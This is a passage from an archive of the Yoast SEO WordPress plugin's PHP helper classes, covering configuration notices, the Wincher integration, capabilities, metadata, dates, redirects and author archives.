	 *
	 * You can match based on the key, or key and value. Removing based on key and
	 * value, will keep from removing duplicate metadata with the same key. It also
	 * allows removing all metadata matching key, if needed.
	 *
	 * @param int    $user_id    User ID.
	 * @param string $meta_key   Metadata name.
	 * @param mixed  $meta_value Optional. Metadata value. If provided,
	 *                           rows will only be removed that match the value.
	 *                           Must be serializable if non-scalar. Default empty.
	 *
	 * @return bool True on success, false on failure.
	 */
	public function delete_meta( $user_id, $meta_key, $meta_value = '' ) {
		return \delete_user_meta( $user_id, $meta_key, $meta_value );
	}
}
wordpress-seo/src/helpers/first-time-configuration-notice-helper.php000064400000012251147510273100022007 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper to determine the status of ftc and front-end related configuration.
 */
class First_Time_Configuration_Notice_Helper {

	/**
	 * The options' helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	private $indexing_helper;

	/**
	 * Whether we show the alternate mesage.
	 *
	 * @var bool
	 */
	private $show_alternate_message;

	/**
	 * First_Time_Configuration_Notice_Integration constructor.
	 *
	 * @param Options_Helper  $options_helper  The options helper.
	 * @param Indexing_Helper $indexing_helper The indexing helper.
	 */
	public function __construct(
		Options_Helper $options_helper,
		Indexing_Helper $indexing_helper
	) {
		$this->options_helper         = $options_helper;
		$this->indexing_helper        = $indexing_helper;
		$this->show_alternate_message = false;
	}

	/**
	 * Determines whether and where the "First-time SEO Configuration" admin notice should be displayed.
	 *
	 * @return bool Whether the "First-time SEO Configuration" admin notice should be displayed.
	 */
	public function should_display_first_time_configuration_notice() {
		if ( ! $this->options_helper->get( 'dismiss_configuration_workout_notice', false ) === false ) {
			return false;
		}
		if ( ! $this->on_wpseo_admin_page_or_dashboard() ) {
			return false;
		}
		return $this->first_time_configuration_not_finished();
	}

	/**
	 * Gets the first time configuration title based on the show_alternate_message boolean
	 *
	 * @return string
	 */
	public function get_first_time_configuration_title() {
		return ( ! $this->show_alternate_message ) ? \__( 'First-time SEO configuration', 'wordpress-seo' ) : \__( 'SEO configuration', 'wordpress-seo' );
	}

	/**
	 * Determines if the first time configuration is completely finished.
	 *
	 * @return bool
	 */
	public function first_time_configuration_not_finished() {
		if ( ! $this->user_can_do_first_time_configuration() ) {
			return false;
		}

		if ( $this->is_first_time_configuration_finished() ) {
			return false;
		}

		if ( $this->options_helper->get( 'first_time_install', false ) !== false ) {
			return ! $this->are_site_representation_name_and_logo_set() || $this->indexing_helper->get_unindexed_count() > 0;
		}

		if ( $this->indexing_helper->is_initial_indexing() === false ) {
			return false;
		}

		if ( $this->indexing_helper->is_finished_indexables_indexing() === true ) {
			return false;
		}

		$this->show_alternate_message = true;

		return ! $this->are_site_representation_name_and_logo_set();
	}

	/**
	 * Whether the user can do the first-time configuration.
	 *
	 * @return bool Whether the current user can do the first-time configuration.
	 */
	private function user_can_do_first_time_configuration() {
		return \current_user_can( 'wpseo_manage_options' );
	}

	/**
	 * Whether the user is currently visiting one of our admin pages or the WordPress dashboard.
	 *
	 * @return bool Whether the current page is a Yoast SEO admin page
	 */
	private function on_wpseo_admin_page_or_dashboard() {
		$pagenow = $GLOBALS['pagenow'];

		// Show on the WP Dashboard.
		if ( $pagenow === 'index.php' ) {
			return true;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information and only comparing the variable in a condition.
			$page_from_get = \wp_unslash( $_GET['page'] );

			// Show on Yoast SEO pages, with some exceptions.
			if ( $pagenow === 'admin.php' && \strpos( $page_from_get, 'wpseo' ) === 0 ) {
				$exceptions = [
					'wpseo_installation_successful',
					'wpseo_installation_successful_free',
				];

				if ( ! \in_array( $page_from_get, $exceptions, true ) ) {
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Whether all steps of the first-time configuration have been finished.
	 *
	 * @return bool Whether the first-time configuration has been finished.
	 */
	private function is_first_time_configuration_finished() {
		$configuration_finished_steps = $this->options_helper->get( 'configuration_finished_steps', [] );

		return \count( $configuration_finished_steps ) === 3;
	}

	/**
	 * Whether the site representation name and logo have been set.
	 *
	 * @return bool  Whether the site representation name and logo have been set.
	 */
	private function are_site_representation_name_and_logo_set() {
		$company_or_person = $this->options_helper->get( 'company_or_person', '' );

		if ( $company_or_person === '' ) {
			return false;
		}

		if ( $company_or_person === 'company' ) {
			return ! empty( $this->options_helper->get( 'company_name' ) ) && ! empty( $this->options_helper->get( 'company_logo', '' ) );
		}

		return ! empty( $this->options_helper->get( 'company_or_person_user_id' ) ) && ! empty( $this->options_helper->get( 'person_logo', '' ) );
	}

	/**
	 * Getter for the show alternate message boolean.
	 *
	 * @return bool
	 */
	public function should_show_alternate_message() {
		return $this->show_alternate_message;
	}
}
wordpress-seo/src/helpers/wincher-helper.php000064400000005011147510273100015233 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WPSEO_Shortlinker;
use Yoast\WP\SEO\Conditionals\Non_Multisite_Conditional;
use Yoast\WP\SEO\Config\Wincher_Client;
use Yoast\WP\SEO\Exceptions\OAuth\Authentication_Failed_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Property_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Token_Exception;

/**
 * A helper object for Wincher matters.
 */
class Wincher_Helper {

	/**
	 * Holds the Options Page helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * Options_Helper constructor.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Checks if the integration should be active for the current user.
	 *
	 * @return bool Whether the integration is active.
	 */
	public function is_active() {
		$conditional = new Non_Multisite_Conditional();

		if ( ! $conditional->is_met() ) {
			return false;
		}

		if ( ! \current_user_can( 'publish_posts' ) && ! \current_user_can( 'publish_pages' ) ) {
			return false;
		}

		return (bool) $this->options->get( 'wincher_integration_active', true );
	}

	/**
	 * Checks if the user is logged in to Wincher.
	 *
	 * @return bool The Wincher login status.
	 */
	public function login_status() {
		try {
			$wincher = \YoastSEO()->classes->get( Wincher_Client::class );
		} catch ( Empty_Property_Exception $e ) {
			// Return false if token is malformed (empty property).
			return false;
		}

		// Get token (and refresh it if it's expired).
		try {
			$wincher->get_tokens();
		} catch ( Authentication_Failed_Exception $e ) {
			return false;
		} catch ( Empty_Token_Exception $e ) {
			return false;
		}

		return $wincher->has_valid_tokens();
	}

	/**
	 * Returns the Wincher links that can be used to localize the global admin
	 * script. Mainly exists to avoid duplicating these links in multiple places
	 * around the code base.
	 *
	 * @return string[]
	 */
	public function get_admin_global_links() {
		return [
			'links.wincher.login'   => 'https://app.wincher.com/login?utm_medium=plugin&utm_source=yoast&referer=yoast&partner=yoast',
			'links.wincher.about'   => WPSEO_Shortlinker::get( 'https://yoa.st/dashboard-about-wincher' ),
			'links.wincher.pricing' => WPSEO_Shortlinker::get( 'https://yoa.st/wincher-popup-pricing' ),
			'links.wincher.website' => WPSEO_Shortlinker::get( 'https://yoa.st/wincher-popup' ),
			'links.wincher.upgrade' => WPSEO_Shortlinker::get( 'https://yoa.st/wincher-upgrade' ),
		];
	}
}
wordpress-seo/src/helpers/sanitization-helper.php000064400000002040147510273100016307 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WPSEO_Utils;

/**
 * A helper object for sanitization.
 */
class Sanitization_Helper {

	/**
	 * Emulate the WP native sanitize_text_field function in a %%variable%% safe way.
	 *
	 * @codeCoverageIgnore We have to write test when this method contains own code.
	 *
	 * @param string $value String value to sanitize.
	 *
	 * @return string The sanitized string.
	 */
	public function sanitize_text_field( $value ) {
		return WPSEO_Utils::sanitize_text_field( $value );
	}

	/**
	 * Sanitize a url for saving to the database.
	 * Not to be confused with the old native WP function.
	 *
	 * @codeCoverageIgnore We have to write test when this method contains own code.
	 *
	 * @param string $value             String URL value to sanitize.
	 * @param array  $allowed_protocols Optional set of allowed protocols.
	 *
	 * @return string The sanitized URL.
	 */
	public function sanitize_url( $value, $allowed_protocols = [ 'http', 'https' ] ) {
		return WPSEO_Utils::sanitize_url( $value, $allowed_protocols );
	}
}
wordpress-seo/src/helpers/capability-helper.php000064400000004104147510273100015717 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for user capabilities.
 */
class Capability_Helper {

	/**
	 * Checks if the user has at least one of the proper capabilities.
	 *
	 * @param string $capability Capability to check.
	 *
	 * @return bool True if the user has at least one of the proper rights.
	 */
	public function current_user_can( $capability ) {
		if ( $capability === 'wpseo_manage_options' ) {
			return \current_user_can( $capability );
		}

		return $this->has_any( [ 'wpseo_manage_options', $capability ] );
	}

	/**
	 * Retrieves the users that have the specified capability.
	 *
	 * @param string $capability The name of the capability.
	 *
	 * @return array The users that have the capability.
	 */
	public function get_applicable_users( $capability ) {
		$applicable_roles = $this->get_applicable_roles( $capability );

		if ( $applicable_roles === [] ) {
			return [];
		}

		return \get_users( [ 'role__in' => $applicable_roles ] );
	}

	/**
	 * Retrieves the roles that have the specified capability.
	 *
	 * @param string $capability The name of the capability.
	 *
	 * @return array The names of the roles that have the capability.
	 */
	public function get_applicable_roles( $capability ) {
		$roles      = \wp_roles();
		$role_names = $roles->get_names();

		$applicable_roles = [];
		foreach ( \array_keys( $role_names ) as $role_name ) {
			$role = $roles->get_role( $role_name );

			if ( ! $role ) {
				continue;
			}

			// Add role if it has the capability.
			if ( \array_key_exists( $capability, $role->capabilities ) && $role->capabilities[ $capability ] === true ) {
				$applicable_roles[] = $role_name;
			}
		}

		return $applicable_roles;
	}

	/**
	 * Checks if the current user has at least one of the supplied capabilities.
	 *
	 * @param array $capabilities Capabilities to check against.
	 *
	 * @return bool True if the user has at least one capability.
	 */
	private function has_any( array $capabilities ) {
		foreach ( $capabilities as $capability ) {
			if ( \current_user_can( $capability ) ) {
				return true;
			}
		}

		return false;
	}
}
wordpress-seo/src/helpers/product-helper.php000064400000002117147510273100015260 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for the Yoast products.
 */
class Product_Helper {

	/**
	 * Gets the product name.
	 *
	 * @return string
	 */
	public function get_product_name() {
		if ( $this->is_premium() ) {
			return 'Yoast SEO Premium';
		}

		return 'Yoast SEO';
	}

	/**
	 * Gets the product name in the head section.
	 *
	 * @return string
	 */
	public function get_name() {
		return $this->get_product_name() . ' plugin';
	}

	/**
	 * Checks if the installed version is Yoast SEO Premium.
	 *
	 * @return bool True when is premium.
	 */
	public function is_premium() {
		return \defined( 'WPSEO_PREMIUM_FILE' );
	}

	/**
	 * Gets the Premium version if defined, returns null otherwise.
	 *
	 * @return string|null The Premium version or null when premium version is not defined.
	 */
	public function get_premium_version() {
		if ( \defined( 'WPSEO_PREMIUM_VERSION' ) ) {
			return \WPSEO_PREMIUM_VERSION;
		}

		return null;
	}

	/**
	 * Gets the version.
	 *
	 * @return string The version.
	 */
	public function get_version() {
		return \WPSEO_VERSION;
	}
}
wordpress-seo/src/helpers/meta-helper.php000064400000005646147510273100014540 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WPSEO_Meta;
use WPSEO_Taxonomy_Meta;

/**
 * A helper object for meta.
 */
class Meta_Helper {

	/**
	 * Get a custom post meta value.
	 *
	 * Returns the default value if the meta value has not been set.
	 *
	 * {@internal Unfortunately there isn't a filter available to hook into before returning
	 *            the results for get_post_meta(), get_post_custom() and the likes. That
	 *            would have been the preferred solution.}}
	 *
	 * @codeCoverageIgnore We have to write test when this method contains own code.
	 *
	 * @param string $key    Internal key of the value to get (without prefix).
	 * @param int    $postid Post ID of the post to get the value for.
	 *
	 * @return string All 'normal' values returned from get_post_meta() are strings.
	 *                Objects and arrays are possible, but not used by this plugin
	 *                and therefore discarted (except when the special 'serialized' field def
	 *                value is set to true - only used by add-on plugins for now).
	 *                Will return the default value if no value was found.
	 *                Will return empty string if no default was found (not one of our keys) or
	 *                if the post does not exist.
	 */
	public function get_value( $key, $postid = 0 ) {
		return WPSEO_Meta::get_value( $key, $postid );
	}

	/**
	 * Retrieve a taxonomy term's meta value(s).
	 *
	 * @param mixed       $term     Term to get the meta value for
	 *                              either (string) term name, (int) term id or (object) term.
	 * @param string      $taxonomy Name of the taxonomy to which the term is attached.
	 * @param string|null $meta     Optional. Meta value to get (without prefix).
	 *
	 * @return mixed|bool Value for the $meta if one is given, might be the default.
	 *                    If no meta is given, an array of all the meta data for the term.
	 *                    False if the term does not exist or the $meta provided is invalid.
	 */
	public function get_term_value( $term, $taxonomy, $meta = null ) {
		return WPSEO_Taxonomy_Meta::get_term_meta( $term, $taxonomy, $meta );
	}

	/**
	 * Set a custom post meta value.
	 *
	 * @param string $key        Internal key of the value to set (without prefix).
	 * @param mixed  $meta_value The value to set the meta value to.
	 * @param int    $post_id    Post ID of the post to set the value for.
	 *
	 * @return bool Whether the value was changed.
	 */
	public function set_value( $key, $meta_value, $post_id ) {
		return WPSEO_Meta::set_value( $key, $meta_value, $post_id );
	}

	/**
	 * Deletes a meta value for a post.
	 *
	 * @param string $key     The internal key of the meta value to change (without prefix).
	 * @param int    $post_id The ID of the post to delete the meta for.
	 *
	 * @return bool Whether the delete was successful or not.
	 */
	public function delete( $key, $post_id ) {
		return WPSEO_Meta::delete( $key, $post_id );
	}
}
wordpress-seo/src/helpers/wpdb-helper.php000064400000001654147510273100014541 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use wpdb;

/**
 * A helper object for the wpdb.
 */
class Wpdb_Helper {

	/**
	 * The WordPress database instance.
	 *
	 * @var wpdb
	 */
	private $wpdb;

	/**
	 * Constructs a Wpdb_Helper instance.
	 *
	 * @param wpdb $wpdb The WordPress database instance.
	 */
	public function __construct( wpdb $wpdb ) {
		$this->wpdb = $wpdb;
	}

	/**
	 * Check if table exists.
	 *
	 * @param string $table The table to be checked.
	 *
	 * @return bool Whether the table exists.
	 */
	public function table_exists( $table ) {
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		$table_exists = $this->wpdb->get_var( "SHOW TABLES LIKE '{$table}'" );
		if ( \is_wp_error( $table_exists ) || \is_null( $table_exists ) ) {
			return false;
		}

		return true;
	}
}
wordpress-seo/src/helpers/blocks-helper.php000064400000004512147510273100015056 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WP_Block_Parser_Block;

/**
 * A helper object for blocks.
 */
class Blocks_Helper {

	/**
	 * Holds the Post_Helper instance.
	 *
	 * @var Post_Helper
	 */
	private $post;

	/**
	 * Constructs a Blocks_Helper instance.
	 *
	 * @codeCoverageIgnore It handles dependencies.
	 *
	 * @param Post_Helper $post The post helper.
	 */
	public function __construct( Post_Helper $post ) {
		$this->post = $post;
	}

	/**
	 * Returns all blocks in a given post.
	 *
	 * @param int $post_id The post id.
	 *
	 * @return array The blocks in a block-type => WP_Block_Parser_Block[] format.
	 */
	public function get_all_blocks_from_post( $post_id ) {
		if ( ! $this->has_blocks_support() ) {
			return [];
		}

		$post = $this->post->get_post( $post_id );
		return $this->get_all_blocks_from_content( $post->post_content );
	}

	/**
	 * Returns all blocks in a given content.
	 *
	 * @param string $content The content.
	 *
	 * @return array The blocks in a block-type => WP_Block_Parser_Block[] format.
	 */
	public function get_all_blocks_from_content( $content ) {
		if ( ! $this->has_blocks_support() ) {
			return [];
		}

		$collection = [];
		$blocks     = \parse_blocks( $content );
		return $this->collect_blocks( $blocks, $collection );
	}

	/**
	 * Checks if the installation has blocks support.
	 *
	 * @codeCoverageIgnore It only checks if a WordPress function exists.
	 *
	 * @return bool True when function parse_blocks exists.
	 */
	protected function has_blocks_support() {
		return \function_exists( 'parse_blocks' );
	}

	/**
	 * Collects an array of blocks into an organised collection.
	 *
	 * @param WP_Block_Parser_Block[] $blocks     The blocks.
	 * @param array                   $collection The collection.
	 *
	 * @return array The blocks in a block-type => WP_Block_Parser_Block[] format.
	 */
	private function collect_blocks( $blocks, $collection ) {
		foreach ( $blocks as $block ) {
			if ( empty( $block['blockName'] ) ) {
				continue;
			}

			if ( ! isset( $collection[ $block['blockName'] ] ) || ! \is_array( $collection[ $block['blockName'] ] ) ) {
				$collection[ $block['blockName'] ] = [];
			}
			$collection[ $block['blockName'] ][] = $block;

			if ( isset( $block['innerBlocks'] ) ) {
				$collection = $this->collect_blocks( $block['innerBlocks'], $collection );
			}
		}

		return $collection;
	}
}
wordpress-seo/src/helpers/redirect-helper.php000064400000003344147510273100015404 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for redirects.
 */
class Redirect_Helper {

	/**
	 * Wraps wp_redirect to allow testing for redirects.
	 *
	 * @codeCoverageIgnore It only wraps a WordPress function.
	 *
	 * @param string $location The path to redirect to.
	 * @param int    $status   The status code to use.
	 * @param string $reason   The reason for the redirect.
	 *
	 * @return void
	 */
	public function do_unsafe_redirect( $location, $status = 302, $reason = 'Yoast SEO' ) {
		// phpcs:ignore WordPress.Security.SafeRedirect -- intentional, function has been renamed to make unsafe more clear.
		\wp_redirect( $location, $status, $reason );
		exit;
	}

	/**
	 * Wraps wp_safe_redirect to allow testing for safe redirects.
	 *
	 * @codeCoverageIgnore It only wraps a WordPress function.
	 *
	 * @param string $location The path to redirect to.
	 * @param int    $status   The status code to use.
	 * @param string $reason   The reason for the redirect.
	 *
	 * @return void
	 */
	public function do_safe_redirect( $location, $status = 302, $reason = 'Yoast SEO' ) {
		\wp_safe_redirect( $location, $status, $reason );
		exit;
	}

	/**
	 * Sets a header.
	 * This is a tiny helper function to enable better testing.
	 *
	 * @codeCoverageIgnore It only wraps a WordPress function.
	 *
	 * @param string $header The header to set.
	 *
	 * @return void
	 */
	public function set_header( $header ) {
		\header( $header );
	}

	/**
	 * Removes a header.
	 * This is a tiny helper function to enable better testing.
	 *
	 * @codeCoverageIgnore It only wraps a WordPress function.
	 *
	 * @param string $header The header to remove.
	 *
	 * @return void
	 */
	public function remove_header( $header ) {
		\header_remove( $header );
	}
}
wordpress-seo/src/helpers/date-helper.php000064400000006210147510273100014513 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use DateTime;
use DateTimeZone;
use Exception;

/**
 * A helper object for dates.
 */
class Date_Helper {

	/**
	 * Convert given date string to the W3C format.
	 *
	 * If $translate is true then the given date and format string will
	 * be passed to date_i18n() for translation.
	 *
	 * @param string $date      Date string to convert.
	 * @param bool   $translate Whether the return date should be translated. Default false.
	 *
	 * @return string Formatted date string.
	 */
	public function mysql_date_to_w3c_format( $date, $translate = false ) {
		return \mysql2date( \DATE_W3C, $date, $translate );
	}

	/**
	 * Formats a given date in UTC TimeZone format.
	 *
	 * @param string $date   String representing the date / time.
	 * @param string $format The format that the passed date should be in.
	 *
	 * @return string The formatted date.
	 */
	public function format( $date, $format = \DATE_W3C ) {
		if ( ! \is_string( $date ) ) {
			return $date;
		}

		$immutable_date = \date_create_immutable_from_format( 'Y-m-d H:i:s', $date, new DateTimeZone( 'UTC' ) );

		if ( ! $immutable_date ) {
			return $date;
		}

		return $immutable_date->format( $format );
	}

	/**
	 * Formats the given timestamp to the needed format.
	 *
	 * @param int    $timestamp The timestamp to use for the formatting.
	 * @param string $format    The format that the passed date should be in.
	 *
	 * @return string The formatted date.
	 */
	public function format_timestamp( $timestamp, $format = \DATE_W3C ) {
		if ( ! \is_string( $timestamp ) && ! \is_int( $timestamp ) ) {
			return $timestamp;
		}

		$immutable_date = \date_create_immutable_from_format( 'U', $timestamp, new DateTimeZone( 'UTC' ) );

		if ( ! $immutable_date ) {
			return $timestamp;
		}

		return $immutable_date->format( $format );
	}

	/**
	 * Formats a given date in UTC TimeZone format and translate it to the set language.
	 *
	 * @param string $date   String representing the date / time.
	 * @param string $format The format that the passed date should be in.
	 *
	 * @return string The formatted and translated date.
	 */
	public function format_translated( $date, $format = \DATE_W3C ) {
		return \date_i18n( $format, $this->format( $date, 'U' ) );
	}

	/**
	 * Returns the current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT).
	 *
	 * @return int The current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT).
	 */
	public function current_time() {
		return \time();
	}

	/**
	 * Check if a string is a valid datetime.
	 *
	 * @param string $datetime String input to check as valid input for DateTime class.
	 *
	 * @return bool True when datetime is valid.
	 */
	public function is_valid_datetime( $datetime ) {
		if ( $datetime === null ) {
			/*
			 * While not "officially" supported, `null` will be handled as `"now"` until PHP 9.0.
			 * @link https://3v4l.org/tYp2k
			 */
			return true;
		}

		if ( \is_string( $datetime ) && \substr( $datetime, 0, 1 ) === '-' ) {
			return false;
		}

		try {
			return new DateTime( $datetime ) !== false;
		} catch ( Exception $exception ) {
			return false;
		}
	}
}
wordpress-seo/src/helpers/author-archive-helper.php000064400000012404147510273100016521 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WP_Query;
use Yoast\WP\Lib\Model;

/**
 * A helper object for author archives.
 */
class Author_Archive_Helper {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type_helper;

	/**
	 * Creates a new author archive helper.
	 *
	 * @param Options_Helper   $options_helper   The options helper.
	 * @param Post_Type_Helper $post_type_helper The post type helper.
	 */
	public function __construct(
		Options_Helper $options_helper,
		Post_Type_Helper $post_type_helper
	) {
		$this->options_helper   = $options_helper;
		$this->post_type_helper = $post_type_helper;
	}

	/**
	 * Gets the array of post types that are shown on an author's archive.
	 *
	 * @return array The post types that are shown on an author's archive.
	 */
	public function get_author_archive_post_types() {
		/**
		 * Filters the array of post types that are shown on an author's archive.
		 *
		 * @param array $args The post types that are shown on an author archive.
		 */
		return \apply_filters( 'wpseo_author_archive_post_types', [ 'post' ] );
	}

	/**
	 * Returns whether the author has at least one public post.
	 *
	 * @param int $author_id The author ID.
	 *
	 * @return bool|null Whether the author has at least one public post.
	 */
	public function author_has_public_posts( $author_id ) {
		// First check if the author has at least one public post.
		$has_public_post = $this->author_has_a_public_post( $author_id );
		if ( $has_public_post ) {
			return true;
		}

		// Then check if the author has at least one post where the status is the same as the global setting.
		$has_public_post_depending_on_the_global_setting = $this->author_has_a_post_with_is_public_null( $author_id );
		if ( $has_public_post_depending_on_the_global_setting ) {
			return null;
		}

		return false;
	}

	/**
	 * Returns whether the author has at least one public post.
	 *
	 * **Note**: It uses WP_Query to determine the number of posts,
	 * not the indexables table.
	 *
	 * @param string $user_id The user ID.
	 *
	 * @return bool Whether the author has at least one public post.
	 */
	public function author_has_public_posts_wp( $user_id ) {
		$post_types        = \array_intersect( $this->get_author_archive_post_types(), $this->post_type_helper->get_indexable_post_types() );
		$public_post_stati = \array_values( \array_filter( \get_post_stati(), 'is_post_status_viewable' ) );

		$args = [
			'post_type'              => $post_types,
			'post_status'            => $public_post_stati,
			'author'                 => $user_id,
			'update_post_term_cache' => false,
			'update_post_meta_cache' => false,
			'no_found_rows'          => true,
			'fields'                 => 'ids',
			'posts_per_page'         => 1,
		];

		$query = new WP_Query( $args );

		if ( $query->have_posts() ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks whether author archives are disabled.
	 *
	 * @return bool `true` if author archives are disabled, `false` if not.
	 */
	public function are_disabled() {
		return $this->options_helper->get( 'disable-author' );
	}

	/**
	 * Returns whether the author has at least one public post.
	 *
	 * @codeCoverageIgnore It looks for the first ID through the ORM and converts it to a boolean.
	 *
	 * @param int $author_id The author ID.
	 *
	 * @return bool Whether the author has at least one public post.
	 */
	protected function author_has_a_public_post( $author_id ) {
		$cache_key        = 'author_has_a_public_post_' . $author_id;
		$indexable_exists = \wp_cache_get( $cache_key );

		if ( $indexable_exists === false ) {
			$indexable_exists = Model::of_type( 'Indexable' )
				->select( 'id' )
				->where( 'object_type', 'post' )
				->where_in( 'object_sub_type', $this->get_author_archive_post_types() )
				->where( 'author_id', $author_id )
				->where( 'is_public', 1 )
				->find_one();

			if ( $indexable_exists === false ) {
				// Cache no results to prevent full table scanning on authors with no public posts.
				\wp_cache_set( $cache_key, 0, '', \wp_rand( ( 2 * \HOUR_IN_SECONDS ), ( 4 * \HOUR_IN_SECONDS ) ) );
			}
		}

		return (bool) $indexable_exists;
	}

	/**
	 * Returns whether the author has at least one post with the is public null.
	 *
	 * @codeCoverageIgnore It looks for the first ID through the ORM and converts it to a boolean.
	 *
	 * @param int $author_id The author ID.
	 *
	 * @return bool Whether the author has at least one post with the is public null.
	 */
	protected function author_has_a_post_with_is_public_null( $author_id ) {
		$cache_key        = 'author_has_a_post_with_is_public_null_' . $author_id;
		$indexable_exists = \wp_cache_get( $cache_key );

		if ( $indexable_exists === false ) {
			$indexable_exists = Model::of_type( 'Indexable' )
				->select( 'id' )
				->where( 'object_type', 'post' )
				->where_in( 'object_sub_type', $this->get_author_archive_post_types() )
				->where( 'author_id', $author_id )
				->where_null( 'is_public' )
				->find_one();

			if ( $indexable_exists === false ) {
				// Cache no results to prevent full table scanning on authors with no is public null posts.
				\wp_cache_set( $cache_key, 0, '', \wp_rand( ( 2 * \HOUR_IN_SECONDS ), ( 4 * \HOUR_IN_SECONDS ) ) );
			}
		}

		return (bool) $indexable_exists;
	}
}
wordpress-seo/src/helpers/indexable-to-postmeta-helper.php000064400000015407147510273100020013 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use Yoast\WP\SEO\Models\Indexable;

/**
 * A helper object to map indexable data to postmeta.
 */
class Indexable_To_Postmeta_Helper {

	/**
	 * The Meta helper.
	 *
	 * @var Meta_Helper
	 */
	public $meta;

	/**
	 * The map of yoast to post meta.
	 *
	 * @var array
	 */
	protected $yoast_to_postmeta = [
		'title'                  => [
			'post_meta_key' => 'title',
			'map_method'    => 'simple_map',
		],
		'description'            => [
			'post_meta_key' => 'metadesc',
			'map_method'    => 'simple_map',
		],
		'open_graph_title'       => [
			'post_meta_key' => 'opengraph-title',
			'map_method'    => 'simple_map',
		],
		'open_graph_description' => [
			'post_meta_key' => 'opengraph-description',
			'map_method'    => 'simple_map',
		],
		'twitter_title'          => [
			'post_meta_key' => 'twitter-title',
			'map_method'    => 'simple_map',
		],
		'twitter_description'    => [
			'post_meta_key' => 'twitter-description',
			'map_method'    => 'simple_map',
		],
		'canonical'              => [
			'post_meta_key' => 'canonical',
			'map_method'    => 'simple_map',
		],
		'primary_focus_keyword'  => [
			'post_meta_key' => 'focuskw',
			'map_method'    => 'simple_map',
		],
		'open_graph_image'       => [
			'post_meta_key' => 'opengraph-image',
			'map_method'    => 'social_image_map',
		],
		'open_graph_image_id'    => [
			'post_meta_key' => 'opengraph-image-id',
			'map_method'    => 'social_image_map',
		],
		'twitter_image'          => [
			'post_meta_key' => 'twitter-image',
			'map_method'    => 'social_image_map',
		],
		'twitter_image_id'       => [
			'post_meta_key' => 'twitter-image-id',
			'map_method'    => 'social_image_map',
		],
		'is_robots_noindex'      => [
			'post_meta_key' => 'meta-robots-noindex',
			'map_method'    => 'noindex_map',
		],
		'is_robots_nofollow'     => [
			'post_meta_key' => 'meta-robots-nofollow',
			'map_method'    => 'nofollow_map',
		],
		'meta_robots_adv'        => [
			'post_meta_key' => 'meta-robots-adv',
			'map_method'    => 'robots_adv_map',
		],
	];

	/**
	 * Indexable_To_Postmeta_Helper constructor.
	 *
	 * @param Meta_Helper $meta The Meta helper.
	 */
	public function __construct( Meta_Helper $meta ) {
		$this->meta = $meta;
	}

	/**
	 * Creates postmeta from a Yoast indexable.
	 *
	 * @param Indexable $indexable The Yoast indexable.
	 *
	 * @return void
	 */
	public function map_to_postmeta( $indexable ) {
		foreach ( $this->yoast_to_postmeta as $indexable_column => $map_info ) {
			\call_user_func( [ $this, $map_info['map_method'] ], $indexable, $map_info['post_meta_key'], $indexable_column );
		}
	}

	/**
	 * Uses a simple set_value for non-empty data.
	 *
	 * @param Indexable $indexable        The Yoast indexable.
	 * @param string    $post_meta_key    The post_meta key that will be populated.
	 * @param string    $indexable_column The indexable data that will be mapped to post_meta.
	 *
	 * @return void
	 */
	public function simple_map( $indexable, $post_meta_key, $indexable_column ) {
		if ( empty( $indexable->{$indexable_column} ) ) {
			return;
		}

		$this->meta->set_value( $post_meta_key, $indexable->{$indexable_column}, $indexable->object_id );
	}

	/**
	 * Map social image data only if social image is explicitly set.
	 *
	 * @param Indexable $indexable        The Yoast indexable.
	 * @param string    $post_meta_key    The post_meta key that will be populated.
	 * @param string    $indexable_column The indexable data that will be mapped to post_meta.
	 *
	 * @return void
	 */
	public function social_image_map( $indexable, $post_meta_key, $indexable_column ) {
		if ( empty( $indexable->{$indexable_column} ) ) {
			return;
		}

		switch ( $indexable_column ) {
			case 'open_graph_image':
			case 'open_graph_image_id':
				$source = $indexable->open_graph_image_source;
				break;
			case 'twitter_image':
			case 'twitter_image_id':
				$source = $indexable->twitter_image_source;
				break;
		}

		// Map the social image data only when the social image is explicitly set.
		if ( $source === 'set-by-user' || $source === 'imported' ) {
			$value = (string) $indexable->{$indexable_column};

			$this->meta->set_value( $post_meta_key, $value, $indexable->object_id );
		}
	}

	/**
	 * Deletes the noindex post_meta key if no noindex in the indexable. Populates the post_meta key appropriately if there is noindex in the indexable.
	 *
	 * @param Indexable $indexable     The Yoast indexable.
	 * @param string    $post_meta_key The post_meta key that will be populated.
	 *
	 * @return void
	 */
	public function noindex_map( $indexable, $post_meta_key ) {
		if ( \is_null( $indexable->is_robots_noindex ) ) {
